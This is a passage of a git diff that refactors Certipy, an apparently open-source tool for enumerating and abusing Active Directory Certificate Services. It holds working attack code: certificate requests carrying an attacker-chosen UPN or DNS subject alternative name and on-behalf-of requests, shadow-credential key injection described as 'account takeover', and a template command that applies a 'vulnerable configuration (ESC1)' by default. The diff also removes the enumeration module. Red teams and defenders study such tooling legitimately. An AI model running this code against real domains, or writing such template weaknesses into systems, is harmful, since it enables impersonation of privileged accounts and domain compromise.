+ logging.warning("Got unknown error from AD CS:") + if self.parent.verbose: + print(content) + else: + logging.warning("Use -debug to print the response") + + if request_id is None: + return False + + should_save = input( + "Would you like to save the private key? (y/N) " + ).rstrip("\n") + + if should_save.lower() == "y": + out = ( + self.parent.out if self.parent.out is not None else str(request_id) + ) + with open("%s.key" % out, "wb") as f: + f.write(key_to_pem(self.parent.key)) + + logging.info("Saved private key to %s.key" % out) + + return False + + if len(request_id) == 0: + logging.error("Failed to get request id from response") + return False + + request_id = int(request_id[0]) + + logging.info("Request ID is %d" % request_id) + + return self.retrieve(request_id) + + +class Request: + def __init__( + self, + target: Target = None, + ca: str = None, + template: str = None, + upn: str = None, + dns: str = None, + subject: str = None, + retrieve: int = 0, + on_behalf_of: str = None, + pfx: str = None, + key_size: int = None, + archive_key: bool = False, + renew: bool = False, + out: str = None, + key: rsa.RSAPrivateKey = None, + web: bool = False, + port: int = None, + scheme: str = None, + dynamic_endpoint: bool = False, + debug=False, + **kwargs + ): + self.target = target + self.ca = ca + self.template = template + self.alt_upn = upn + self.alt_dns = dns + self.subject = subject + self.request_id = int(retrieve) + self.on_behalf_of = on_behalf_of + self.pfx = pfx + self.key_size = key_size + self.archive_key = archive_key + self.renew = renew + self.out = out + self.key = key + + self.web = web + self.port = port + self.scheme = scheme + + self.dynamic = dynamic_endpoint + self.verbose = debug + self.kwargs = kwargs + + if not self.port and self.scheme: + if self.scheme == "http": + self.port = 80 + elif self.scheme == "https": + self.port = 443 + + self._dce = None + + self._interface = None + + @property + def interface(self) -> RequestInterface: + if self._interface is not None: + return self._interface + + if self.web: + self._interface = WebRequestInterface(self) + else: + self._interface = RPCRequestInterface(self) + + return self._interface + + def retrieve(self) -> bool: + request_id = int(self.request_id) + + cert = self.interface.retrieve(request_id) + if cert is False: + logging.error("Failed to retrieve certificate") + return False + + identifications = get_identifications_from_certificate(cert) + + print_certificate_identifications(identifications) + + object_sid = get_object_sid_from_certificate(cert) + if object_sid is not None: + logging.info("Certificate object SID is %s" % repr(object_sid)) + else: + logging.info("Certificate has no object SID") + + out = self.out + if out is None: + out, _ = cert_id_to_parts(identifications) + if out is None: + out = self.target.username + + out = out.rstrip("$").lower() + + try: + with open("%d.key" % request_id, "rb") as f: + key = pem_to_key(f.read()) + except Exception as e: + logging.warning( + "Could not find matching private key. Saving certificate as PEM" + ) + with open("%s.crt" % out, "wb") as f: + f.write(cert_to_pem(cert)) + + logging.info("Saved certificate to %s" % repr("%s.crt" % out)) + else: + logging.info("Loaded private key from %s" % repr("%d.key" % request_id)) + pfx = create_pfx(key, cert) + with open("%s.pfx" % out, "wb") as f: + f.write(pfx) + logging.info( + "Saved certificate and private key to %s" % repr("%s.pfx" % out) + ) + + return True + + def request(self) -> bool: + username = self.target.username + + if sum(map(bool, [self.archive_key, self.on_behalf_of, self.renew])) > 1: + logging.error( + "Combinations of -renew, -on-behalf-of, and -archive-key are currently not supported" + ) + return None + + if self.on_behalf_of: + username = self.on_behalf_of + if self.on_behalf_of.count("\\") > 0: + parts = username.split("\\") + username = "\\".join(parts[1:]) + domain = parts[0] + if "." in domain: + logging.warning( + "Domain part of '-on-behalf-of' should not be a FQDN" + ) + + renewal_cert = None + renewal_key = None + if self.renew: + if self.pfx is None: + logging.error( + "A certificate and private key (-pfx) is required in order for renewal" + ) + return False + + with open(self.pfx, "rb") as f: + renewal_key, renewal_cert = load_pfx(f.read()) + + csr, key = create_csr( + username, + alt_dns=self.alt_dns, + alt_upn=self.alt_upn, + key=self.key, + key_size=self.key_size, + subject=self.subject, + renewal_cert=renewal_cert, + ) + self.key = key + + csr = csr_to_der(csr) + + if self.archive_key: + ca = CA(self.target, self.ca) + logging.info("Trying to retrieve CAX certificate") + cax_cert = ca.get_exchange_certificate() + logging.info("Retrieved CAX certificate") + + csr = create_key_archival(der_to_csr(csr), self.key, cax_cert) + + if self.renew: + csr = create_renewal(csr, renewal_cert, renewal_key) + + if self.on_behalf_of: + if self.pfx is None: + logging.error( + "A certificate and private key (-pfx) is required in order to request on behalf of another user" + ) + return False + + with open(self.pfx, "rb") as f: + agent_key, agent_cert = load_pfx(f.read()) + + csr = create_on_behalf_of(csr, self.on_behalf_of, agent_cert, agent_key) + + attributes = ["CertificateTemplate:%s" % self.template] + + if self.alt_upn is not None or self.alt_dns is not None: + san = [] + if self.alt_dns: + san.append("dns=%s" % self.alt_dns) + if self.alt_upn: + san.append("upn=%s" % self.alt_upn) + + attributes.append("SAN:%s" % "&".join(san)) + + cert = self.interface.request(csr, attributes) + + if cert is False: + logging.error("Failed to request certificate") + return False + + if self.subject: + subject = ",".join(map(lambda x: x.rfc4514_string(), cert.subject.rdns)) + logging.info("Got certificate with subject: %s" % subject) + + identifications = get_identifications_from_certificate(cert) + + print_certificate_identifications(identifications) + + object_sid = get_object_sid_from_certificate(cert) + if object_sid is not None: + logging.info("Certificate object SID is %s" % repr(object_sid)) + else: + logging.info("Certificate has no object SID") + + out = self.out + if out is None: + out, _ = cert_id_to_parts(identifications) + if out is None: + out = self.target.username + + out = out.rstrip("$").lower() + + pfx = create_pfx(key, cert) + + outfile = "%s.pfx" % out + + with open(outfile, "wb") as f: + f.write(pfx) + + logging.info("Saved certificate and private key to %s" % repr(outfile)) + + return pfx, outfile + + +def entry(options: argparse.Namespace) -> None: + target = Target.from_options(options) + del options.target + + request = Request(target=target, **vars(options)) + + if options.retrieve: + request.retrieve() + else: + request.request() diff --git a/certipy/shadow.py b/certipy/commands/shadow.py old mode 100644 new mode 100755 similarity index 88% rename from certipy/shadow.py rename to certipy/commands/shadow.py index 6ffa416..7ad014d --- a/certipy/shadow.py +++ b/certipy/commands/shadow.py @@ -1,6 +1,5 @@ import argparse -import logging -from typing import Callable, List, Tuple +from typing import List, Tuple import ldap3 import OpenSSL @@ -10,13 +9,12 @@ from dsinternals.system.DateTime import DateTime from dsinternals.system.Guid import Guid -from certipy import target -from certipy.auth import Authenticate -from certipy.certificate import create_pfx, der_to_cert, der_to_key, rsa, x509 -from certipy.ldap import LDAPConnection, LDAPEntry -from certipy.target import Target +from certipy.lib.certificate import create_pfx, der_to_cert, der_to_key, rsa, x509 +from certipy.lib.ldap import LDAPConnection, LDAPEntry +from certipy.lib.logger import logging +from certipy.lib.target import Target -NAME = "shadow" +from .auth import Authenticate class Shadow: @@ -101,7 +99,12 @@ def generate_key_credential( self, target_dn: str, subject: str ) -> Tuple[X509Certificate2, KeyCredential, str]: logging.info("Generating certificate") - certificate = X509Certificate2( + + if len(subject) >= 64: + logging.warning("Subject too long. Limiting subject to 64 characters.") + subject = subject[:64] + + cert = X509Certificate2( subject=subject, keySize=2048, notBefore=(-40 * 365), @@ -111,7 +114,7 @@ def generate_key_credential( logging.info("Generating Key Credential") key_credential = KeyCredential.fromX509Certificate2( - certificate=certificate, + certificate=cert, deviceId=Guid(), owner=target_dn, currentTime=DateTime(), @@ -120,13 +123,13 @@ def generate_key_credential( device_id = key_credential.DeviceId.toFormatD() logging.info("Key Credential generated with DeviceID %s" % repr(device_id)) - return (certificate, key_credential, device_id) + return (cert, key_credential, device_id) def add_new_key_credential( self, target_dn: str, user: LDAPEntry ) -> Tuple[X509Certificate2, KeyCredential, List[bytes], str]: cert, key_credential, device_id = self.generate_key_credential( - target_dn, user.get("distinguishedName") + target_dn, "CN=%s" % user.get("sAMAccountName") ) if self.verbose: @@ -436,44 +439,3 @@ def entry(options: argparse.Namespace) -> None: } actions[options.shadow_action]() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser( - NAME, help="Abuse Shadow Credentials for account takeover" - ) - - subparser.add_argument( - "shadow_action", - choices=["list", "add", "remove", "clear", "info", "auto"], - help="Key Credentials action", - ) - subparser.add_argument( - "-account", - action="store", - metavar="target account", - help="Account to target. If omitted, the user " - "specified in the target will be used", - ) - subparser.add_argument( - "-device-id", - action="store", - help="Device ID of the Key Credential Link", - ) - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("output options") - group.add_argument("-out", action="store", metavar="output file name") - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-scheme", - action="store", - metavar="ldap scheme", - choices=["ldap", "ldaps"], - default="ldaps", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/template.py b/certipy/commands/template.py old mode 100644 new mode 100755 similarity index 84% rename from certipy/template.py rename to certipy/commands/template.py index 28050dc..7cf63f6 --- a/certipy/template.py +++ b/certipy/commands/template.py @@ -1,16 +1,13 @@ import argparse import json -import logging -from typing import Callable, Dict, Tuple +from typing import Dict import ldap3 from ldap3.protocol.microsoft import security_descriptor_control -from certipy import target -from certipy.ldap import LDAPConnection, LDAPEntry -from certipy.target import Target - -NAME = "template" +from certipy.lib.ldap import LDAPConnection, LDAPEntry +from certipy.lib.logger import logging +from certipy.lib.target import Target PROTECTED_ATTRIBUTES = [ "objectClass", @@ -245,43 +242,8 @@ def set_configuration(self) -> bool: def entry(options: argparse.Namespace) -> None: - target = Target.from_options(options) + target = Target.from_options(options, dc_as_target=True) del options.target template = Template(target=target, **vars(options)) template.set_configuration() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Manage certificate templates") - - subparser.add_argument( - "-template", action="store", metavar="template name", required=True - ) - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("configuration options") - group.add_argument( - "-configuration", - action="store", - metavar="configuration file", - help="Configuration to apply to the certificate template. If omitted, a default vulnerable configuration (ESC1) will be applied. Useful for restoring an old configuration", - ) - group.add_argument( - "-save-old", - action="store_true", - help="Save the old configuration", - ) - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-scheme", - action="store", - metavar="ldap scheme", - choices=["ldap", "ldaps"], - default="ldaps", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/entry.py b/certipy/entry.py old mode 100644 new mode 100755 index ba52dce..cfbc5d1 --- a/certipy/entry.py +++ b/certipy/entry.py @@ -3,48 +3,23 @@ import sys import traceback -from impacket.examples import logger - -from certipy import ( - account, - auth, - ca, - certificate, - find, - forge, - relay, - request, - shadow, - template, - version, -) - -ENTRY_PARSERS = [ - account, - auth, - ca, - certificate, - find, - forge, - relay, - request, - shadow, - template, -] +from certipy import version +from certipy.commands.parsers import ENTRY_PARSERS +from certipy.lib import logger def main() -> None: - print(version.BANNER, file=sys.stderr) - logger.init() + print(version.BANNER, file=sys.stderr) + for arg in sys.argv: if arg.lower() in ["--version", "-v", "-version"]: return parser = argparse.ArgumentParser( add_help=False, - description="Active Directory Certificate Services enumeration and abuse ", + description="Active Directory Certificate Services enumeration and abuse", ) parser.add_argument( @@ -77,15 +52,19 @@ def main() -> None: options = parser.parse_args() if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) + logger.logging.setLevel(logging.DEBUG) else: - logging.getLogger().setLevel(logging.INFO) + logger.logging.setLevel(logging.INFO) try: actions[options.action](options) except Exception as e: - logging.error("Got error: %s" % e) + logger.logging.error("Got error: %s" % e) if options.debug: traceback.print_exc() else: - logging.error("Use -debug to print a stacktrace") + logger.logging.error("Use -debug to print a stacktrace") + + +if __name__ == "__main__": + main() diff --git a/certipy/errors.py b/certipy/errors.py deleted file mode 100644 index 340b289..0000000 --- a/certipy/errors.py +++ /dev/null @@ -1,15 +0,0 @@ -from impacket import hresult_errors - - -def translate_error_code(error_code: int) -> str: - error_code &= 0xFFFFFFFF - if error_code in hresult_errors.ERROR_MESSAGES: - error_msg_short = hresult_errors.ERROR_MESSAGES[error_code][0] - error_msg_verbose = hresult_errors.ERROR_MESSAGES[error_code][1] - return "code: 0x%x - %s - %s" % ( - error_code, - error_msg_short, - error_msg_verbose, - ) - else: - return "unknown error code: 0x%x" % error_code diff --git a/certipy/find.py b/certipy/find.py deleted file mode 100644 index 3a9a342..0000000 --- a/certipy/find.py +++ /dev/null @@ -1,785 +0,0 @@ -import argparse -import copy -import json -import logging -import os -import socket -import struct -import zipfile -from datetime import datetime -from typing import Callable, List, Tuple - -from asn1crypto import x509 - -from certipy import target -from certipy.ca import CA -from certipy.constants import ( - CERTIFICATE_RIGHTS, - EXTENDED_RIGHTS_MAP, - EXTENDED_RIGHTS_NAME_MAP, - MS_PKI_CERTIFICATE_NAME_FLAG, - MS_PKI_ENROLLMENT_FLAG, - OID_TO_STR_MAP, - WELL_KNOWN_SIDS, -) -from certipy.formatting import pretty_print -from certipy.ldap import LDAPConnection, LDAPEntry -from certipy.security import ActiveDirectorySecurity, CertifcateSecurity -from certipy.target import Target - -NAME = "find" - - -def filetime_to_span(filetime: str) -> int: - (span,) = struct.unpack(" str: - if (span % 31536000 == 0) and (span // 31536000) >= 1: - if (span / 31536000) == 1: - return "1 year" - return "%i years" % (span // 31536000) - elif (span % 2592000 == 0) and (span // 2592000) >= 1: - if (span // 2592000) == 1: - return "1 month" - else: - return "%i months" % (span // 2592000) - elif (span % 604800 == 0) and (span // 604800) >= 1: - if (span / 604800) == 1: - return "1 week" - else: - return "%i weeks" % (span // 604800) - - elif (span % 86400 == 0) and (span // 86400) >= 1: - if (span // 86400) == 1: - return "1 day" - else: - return "%i days" % (span // 86400) - elif (span % 3600 == 0) and (span / 3600) >= 1: - if (span // 3600) == 1: - return "1 hour" - else: - return "%i hours" % (span // 3600) - else: - return "" - - -def filetime_to_str(filetime: str) -> str: - return span_to_str(filetime_to_span(filetime)) - - -class Find: - def __init__( - self, - target: Target, - json: bool = False, - bloodhound: bool = False, - text: bool = False, - output: str = None, - enabled: bool = False, - scheme: str = "ldaps", - connection: LDAPConnection = None, - debug=False, - **kwargs - ): - self.target = target - self.json = json - self.bloodhound = bloodhound - self.text = text - self.output = output - self.enabled = enabled - self.scheme = scheme - self.verbose = debug - self.kwargs = kwargs - - self.sid_map = {} - - self._connection = connection - - @property - def connection(self) -> LDAPConnection: - if self._connection is not None: - return self._connection - - self._connection = LDAPConnection(self.target, self.scheme) - self._connection.connect() - - return self._connection - - def find(self): - logging.info("Finding certificate templates") - - certificate_templates = self.get_certificate_templates() - - logging.info( - "Found %d certificate template%s" - % ( - len(certificate_templates), - "s" if len(certificate_templates) != 1 else "", - ) - ) - - logging.info("Finding certificate authorities") - - enrollment_services = self.get_enrollment_services() - - logging.info( - "Found %d certificate authorit%s" - % ( - len(enrollment_services), - "ies" if len(enrollment_services) != 1 else "y", - ) - ) - - bloodhound_data = [] - output_cas = {} - i = 0 - for enrollment_service in enrollment_services: - templates = enrollment_service.get("certificateTemplates") - if templates is None: - templates = [] - - for template in certificate_templates: - if template.get("name") in templates: - if "cas" in template["attributes"].keys(): - template.get("cas").append(enrollment_service.get("name")) - else: - template.set("cas", [enrollment_service.get("name")]) - - object_identifier = enrollment_service.get("objectGUID") - - try: - ca_name = enrollment_service.get("name") - ca_remote_name = enrollment_service.get("dNSHostName") - ca_target_ip = self.target.resolver.resolve(ca_remote_name) - - ca_target = copy.copy(self.target) - ca_target.remote_name = ca_remote_name - ca_target.target_ip = ca_target_ip - - ca = CA(ca_target, ca=ca_name) - edit_flags, request_disposition, security = ca.get_config() - except Exception as e: - logging.warning( - "Failed to get CA security and configuration for %s: %s" - % (repr(enrollment_service.get("name")), e) - ) - edit_flags, request_disposition, security = (None, None, None) - - try: - web_enrollment = self.check_web_enrollment(enrollment_service) - except Exception as e: - logging.warning( - "Failed to check Web Enrollment for CA %s: %s" - % (repr(enrollment_service.get("name")), e) - ) - web_enrollment = None - - ca_name = enrollment_service.get("cn") - dns_name = enrollment_service.get("dNSHostName") - subject_name = enrollment_service.get("cACertificateDN") - - ca_certificate = x509.Certificate.load( - enrollment_service.get("cACertificate")[0] - )["tbs_certificate"] - - serial_number = hex(int(ca_certificate["serial_number"]))[2:].upper() - - validity = ca_certificate["validity"].native - validity_start = str(validity["not_before"]) - validity_end = str(validity["not_after"]) - - output_cas[i] = { - "CA Name": enrollment_service.get("name"), - "DNS Name": dns_name, - "Certificate Subject": subject_name, - "Certificate Serial Number": serial_number, - "Certificate Validity Start": validity_start, - "Certificate Validity End": validity_end, - } - - if web_enrollment is not None: - output_cas[i]["Web Enrollment"] = ( - "Enabled" if web_enrollment else "Disabled" - ) - - if edit_flags is not None: - user_specifies_san = (edit_flags & 0x00040000) == 0x00040000 - output_cas[i]["User Specified SAN"] = ( - "Enabled" if user_specifies_san else "Disabled" - ) - - if request_disposition is not None: - output_cas[i]["Request Disposition"] = ( - "Pending" if request_disposition & 0x100 else "Issue" - ) - - ca_permissions = {} - access_rights = {} - aces = [] - if security is not None: - aces = self.security_to_bloodhound_aces(security) - - ca_permissions["Owner"] = self.lookup_sid(security.owner).get("name") - - for sid, rights in security.aces.items(): - ca_rights = rights["rights"].to_list() - for ca_right in ca_rights: - if ca_right not in access_rights: - access_rights[ca_right] = [self.lookup_sid(sid).get("name")] - else: - access_rights[ca_right].append( - self.lookup_sid(sid).get("name") - ) - - ca_permissions["Access Rights"] = access_rights - - # For BloodHound - bloodhound_entry = { - "Properties": { - "highvalue": True, - "name": "%s@%s" - % ( - ca_name.upper(), - self.connection.domain.upper(), - ), - "domain": self.connection.domain.upper(), - "type": "Enrollment Service", - }, - "ObjectIdentifier": object_identifier.lstrip("{").rstrip("}"), - "Aces": aces, - } - - bloodhound_entry["Properties"].update(output_cas[i]) - - bloodhound_data.append(bloodhound_entry) - - output_cas[i]["CA Permissions"] = ca_permissions - - i += 1 - - output_templates = {} - i = 0 - enabled_templates = 0 - for template in certificate_templates: - cas = template.get("cas") - - if cas is None and self.enabled: - # Don't show templates with no CAs (not enabled) - continue - - enabled = cas is not None and len(cas) > 0 - - enabled_templates += int(enabled) - - object_identifier = template.get("objectGUID") - - validity_period = filetime_to_str(template.get("pKIExpirationPeriod")) - renewal_period = filetime_to_str(template.get("pKIOverlapPeriod")) - - certificate_name_flag = template.get("msPKI-Certificate-Name-Flag") - if certificate_name_flag is not None: - certificate_name_flag = MS_PKI_CERTIFICATE_NAME_FLAG( - int(certificate_name_flag) - ) - else: - certificate_name_flag = MS_PKI_CERTIFICATE_NAME_FLAG(0) - - enrollment_flag = template.get("msPKI-Enrollment-Flag") - if enrollment_flag is not None: - enrollment_flag = MS_PKI_ENROLLMENT_FLAG(int(enrollment_flag)) - else: - enrollment_flag = MS_PKI_ENROLLMENT_FLAG(0) - - authorized_signatures_required = template.get("msPKI-RA-Signature") - if authorized_signatures_required is not None: - authorized_signatures_required = int(authorized_signatures_required) - - application_policies = template.get_raw("msPKI-RA-Application-Policies") - if not isinstance(application_policies, list): - if application_policies is None: - application_policies = [] - else: - application_policies = [application_policies] - - application_policies = list(map(lambda x: x.decode(), application_policies)) - - application_policies = list( - map( - lambda x: OID_TO_STR_MAP[x] if x in OID_TO_STR_MAP else x, - application_policies, - ) - ) - - eku = template.get_raw("pKIExtendedKeyUsage") - if not isinstance(eku, list): - if eku is None: - eku = [] - else: - eku = [eku] - - eku = list(map(lambda x: x.decode(), eku)) - - extended_key_usage = list( - map(lambda x: OID_TO_STR_MAP[x] if x in OID_TO_STR_MAP else x, eku) - ) - - client_authentication = ( - any( - eku in extended_key_usage - for eku in [ - "Client Authentication", - "Smart Card Logon", - "PKINIT Client Authentication", - "Any Purpose", - ] - ) - or len(extended_key_usage) == 0 - ) - - enrollment_agent = ( - any( - eku in extended_key_usage - for eku in [ - "Certificate Request Agent", - "Any Purpose", - ] - ) - or len(extended_key_usage) == 0 - ) - - enrollee_supplies_subject = any( - flag in certificate_name_flag - for flag in [ - MS_PKI_CERTIFICATE_NAME_FLAG.ENROLLEE_SUPPLIES_SUBJECT, - ] - ) - - requires_manager_approval = ( - MS_PKI_ENROLLMENT_FLAG.PEND_ALL_REQUESTS in enrollment_flag - ) - - security = CertifcateSecurity(template.get("nTSecurityDescriptor")) - - aces = self.security_to_bloodhound_aces(security) - - # For BloodHound - bloodhound_entry = { - "Properties": { - "highvalue": ( - enabled - and any( - [ - all( - [ - enrollee_supplies_subject, - not requires_manager_approval, - client_authentication, - ] - ), - all([enrollment_agent, not requires_manager_approval]), - ] - ) - ), - "name": "%s@%s" - % ( - template.get("cn").upper(), - self.connection.domain.upper(), - ), - "Template Name": template.get("cn"), - "Display Name": template.get("displayName"), - "Certificate Authorities": cas, - "Enabled": enabled, - "Client Authentication": client_authentication, - "Enrollee Supplies Subject": enrollee_supplies_subject, - "Certificate Name Flag": certificate_name_flag.to_str_list(), - "Enrollment Flag": enrollment_flag.to_str_list(), - "Extended Key Usage": extended_key_usage, - "Requires Manager Approval": requires_manager_approval, - "Application Policies": application_policies, - "Authorized Signatures Required": authorized_signatures_required, - "Validity Period": validity_period, - "Renewal Period": renewal_period, - "domain": self.connection.domain.upper(), - "type": "Certificate Template", - }, - "ObjectIdentifier": object_identifier.lstrip("{").rstrip("}"), - "Aces": aces, - } - - bloodhound_data.append(bloodhound_entry) - - output_templates[i] = { - "Template Name": template.get("cn"), - "Display Name": template.get("displayName"), - "Certificate Authorities": cas, - "Enabled": enabled, - "Client Authentication": client_authentication, - "Enrollee Supplies Subject": enrollee_supplies_subject, - "Certificate Name Flag": certificate_name_flag.to_str_list(), - "Enrollment Flag": enrollment_flag.to_str_list(), - "Extended Key Usage": extended_key_usage, - "Requires Manager Approval": requires_manager_approval, - "Application Policies": application_policies, - "Authorized Signatures Required": authorized_signatures_required, - "Validity Period": validity_period, - "Renewal Period": renewal_period, - } - - permissions = {} - - enrollment_permissions = {} - - enrollment_rights = [] - all_extended_rights = [] - - for sid, rights in security.aces.items(): - if ( - EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] - or EXTENDED_RIGHTS_NAME_MAP["AutoEnroll"] - in rights["extended_rights"] - ): - enrollment_rights.append(self.lookup_sid(sid).get("name")) - if ( - EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] - in rights["extended_rights"] - ): - all_extended_rights.append(self.lookup_sid(sid).get("name")) - - if len(enrollment_rights) > 0: - enrollment_permissions["Enrollment Rights"] = enrollment_rights - - if len(all_extended_rights) > 0: - enrollment_permissions["All Extended Rights"] = all_extended_rights - - if len(enrollment_permissions) > 0: - permissions["Enrollment Permissions"] = enrollment_permissions - - object_control_permissions = {} - object_control_permissions["Owner"] = self.lookup_sid(security.owner).get( - "name" - ) - - rights_mapping = [ - (CERTIFICATE_RIGHTS.GENERIC_ALL, [], "Full Control Principals"), - (CERTIFICATE_RIGHTS.WRITE_OWNER, [], "Write Owner Principals"), - (CERTIFICATE_RIGHTS.WRITE_DACL, [], "Write Dacl Principals"), - ( - CERTIFICATE_RIGHTS.WRITE_PROPERTY, - [], - "Write Property Principals", - ), - ] - for sid, rights in security.aces.items(): - rights = rights["rights"] - sid = self.lookup_sid(sid).get("name") - - for (right, principal_list, _) in rights_mapping: - if right in rights: - principal_list.append(sid) - - for _, rights, name in rights_mapping: - if len(rights) > 0: - object_control_permissions[name] = rights - - if len(object_control_permissions) > 0: - permissions["Object Control Permissions"] = object_control_permissions - - if len(permissions) > 0: - output_templates[i]["Permissions"] = permissions - - i += 1 - - logging.info( - "Found %d enabled certificate template%s" - % (enabled_templates, "s" if enabled_templates != 1 else "") - ) - - output = {} - prefix = ( - datetime.now().strftime("%Y%m%d%H%M%S") if not self.output else self.output - ) - bloodhound = self.bloodhound or not any([self.json, self.bloodhound, self.text]) - - zipf = None - if bloodhound: - zipf = zipfile.ZipFile("%s_Certipy.zip" % prefix, "w") - - if len(output_cas.keys()) == 0: - output["Certificate Authorities"] = "[!] Could not find any CAs" - else: - output["Certificate Authorities"] = output_cas - - if len(output_templates.keys()) == 0: - output[ - "Certificate Templates" - ] = "[!] Could not find any certificate templates" - else: - output["Certificate Templates"] = output_templates - - if bloodhound: - gpos_filename = "%s_gpos.json" % prefix - with open(gpos_filename, "w") as f: - json.dump( - { - "data": bloodhound_data, - "meta": { - "count": len(bloodhound_data), - "type": "gpos", - "version": 4, - }, - }, - f, - ) - zipf.write(gpos_filename, gpos_filename) - os.unlink(gpos_filename) - - if self.text or not any([self.json, self.bloodhound, self.text]): - with open("%s_Certipy.txt" % prefix, "w") as f: - pretty_print(output, print=lambda x: f.write(x) + f.write("\n")) - logging.info("Saved text output to %s" % repr("%s_Certipy.txt" % prefix)) - - if self.json or not any([self.json, self.bloodhound, self.text]): - with open("%s_Certipy.json" % prefix, "w") as f: - json.dump(output, f, indent=2) - - logging.info("Saved JSON output to %s" % repr("%s_Certipy.json" % prefix)) - - if self.bloodhound or not any([self.json, self.bloodhound, self.text]): - zipf.close() - logging.info( - ( - "Saved BloodHound data to %s. Drag and drop the file into the " - "BloodHound GUI" - ) - % repr("%s_Certipy.zip" % prefix) - ) - - def security_to_bloodhound_aces(self, security: ActiveDirectorySecurity) -> List: - aces = [] - - owner = self.lookup_sid(security.owner) - owner_type = "Group" if "group" in owner.get("objectClass") else "User" - - aces.append( - { - "PrincipalSID": owner.get("objectSid"), - "PrincipalType": owner_type, - "RightName": "Owner", - "IsInherited": False, - } - ) - - for sid, rights in security.aces.items(): - principal = self.lookup_sid(sid) - - principal_type = ( - "Group" if "group" in principal.get("objectClass") else "User" - ) - - standard_rights = rights["rights"].to_list() - - for right in standard_rights: - aces.append( - { - "PrincipalSID": principal.get("objectSid"), - "PrincipalType": principal_type, - "RightName": str(right), - "IsInherited": False, - } - ) - - extended_rights = rights["extended_rights"] - - for extended_right in extended_rights: - aces.append( - { - "PrincipalSID": principal.get("objectSid"), - "PrincipalType": principal_type, - "RightName": EXTENDED_RIGHTS_MAP[extended_right].replace( - "-", "" - ) - if extended_right in EXTENDED_RIGHTS_MAP - else extended_right, - "IsInherited": False, - } - ) - - return aces - - def check_web_enrollment(self, ca: LDAPEntry) -> bool: - target_name = ca.get("dNSHostName") - - target_ip = self.target.resolver.resolve(target_name) - - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(self.target.timeout) - - logging.debug("Connecting to %s:80" % target_ip) - sock.connect((target_ip, 80)) - sock.sendall( - "\r\n".join( - ["HEAD /certsrv/ HTTP/1.1", "Host: %s" % target_name, "\r\n"] - ).encode() - ) - resp = sock.recv(256) - sock.close() - head = resp.split(b"\r\n")[0].decode() - return " 404 " not in head - except ConnectionRefusedError: - return False - except socket.timeout: - return False - except Exception as e: - logging.warning( - "Got error while trying to check for web enrollment: %s" % e - ) - - return False - - def lookup_sid(self, sid: str) -> LDAPEntry: - if sid in self.sid_map: - return self.sid_map[sid] - - if sid in WELL_KNOWN_SIDS: - name = WELL_KNOWN_SIDS[sid] - sid = "%s-%s" % (self.connection.domain, sid) - object_class = ["top", "group"] - - return LDAPEntry( - **{ - "attributes": { - "objectClass": object_class, - "objectSid": sid, - "name": "%s\\%s" % (self.connection.domain, name), - } - } - ) - results = self.connection.search( - "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid, - attributes=[ - "objectClass", - "objectSid", - "name", - ], - ) - - if len(results) != 1: - logging.warning("Failed to lookup user with SID %s" % repr(sid)) - return LDAPEntry( - **{ - "attributes": { - "objectClass": sid, - "objectSid": sid, - "name": sid, - } - } - ) - - entry = results[0] - entry.set("name", "%s\\%s" % (self.connection.domain, entry.get("name"))) - self.sid_map[sid] = entry - - return entry - - def get_certificate_templates(self) -> List[LDAPEntry]: - certificate_templates = self.connection.search( - "(objectclass=pkicertificatetemplate)", - search_base="CN=Certificate Templates,CN=Public Key Services,CN=Services,%s" - % self.connection.configuration_path, - attributes=[ - "cn", - "name", - "pKIExpirationPeriod", - "pKIOverlapPeriod", - "msPKI-Certificate-Name-Flag", - "msPKI-Enrollment-Flag", - "msPKI-RA-Signature", - "pKIExtendedKeyUsage", - "nTSecurityDescriptor", - "objectGUID", - ], - query_sd=True, - ) - - return certificate_templates - - def get_enrollment_services(self) -> List[LDAPEntry]: - enrollment_services = self.connection.search( - "(&(objectClass=pKIEnrollmentService))", - search_base="CN=Enrollment Services,CN=Public Key Services,CN=Services,%s" - % self.connection.configuration_path, - attributes=[ - "cn", - "name", - "dNSHostName", - "cACertificateDN", - "cACertificate", - "certificateTemplates", - "objectGUID", - ], - ) - - return enrollment_services - - -def entry(options: argparse.Namespace) -> None: - target = Target.from_options(options, dc_as_target=True) - del options.target - - find = Find(target=target, **vars(options)) - find.find() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Enumerate AD CS") - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("output options") - group.add_argument( - "-json", - action="store_true", - help="Output result as JSON only", - ) - group.add_argument( - "-bloodhound", - action="store_true", - help="Output result as BloodHound data only", - ) - group.add_argument( - "-text", - "-txt", - action="store_true", - help="Output result as text only", - ) - group.add_argument( - "-output", - action="store", - metavar="prefix", - help="Filename prefix for writing results to", - ) - - group = subparser.add_argument_group("find options") - group.add_argument( - "-enabled", - action="store_true", - help="Show only enabled certificate templates", - ) - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-scheme", - action="store", - metavar="ldap scheme", - choices=["ldap", "ldaps"], - default="ldaps", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/lib/__init__.py b/certipy/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/certipy/lib/certificate.py b/certipy/lib/certificate.py new file mode 100755 index 0000000..c37a9e6 --- /dev/null +++ b/certipy/lib/certificate.py @@ -0,0 +1,921 @@ +import argparse +import base64 +import math +import os +import struct +import sys +from typing import Callable, List, Tuple + +from asn1crypto import cms as asn1cms +from asn1crypto import core as asn1core +from asn1crypto import csr as asn1csr +from asn1crypto import x509 as asn1x509 +from cryptography import x509 +from 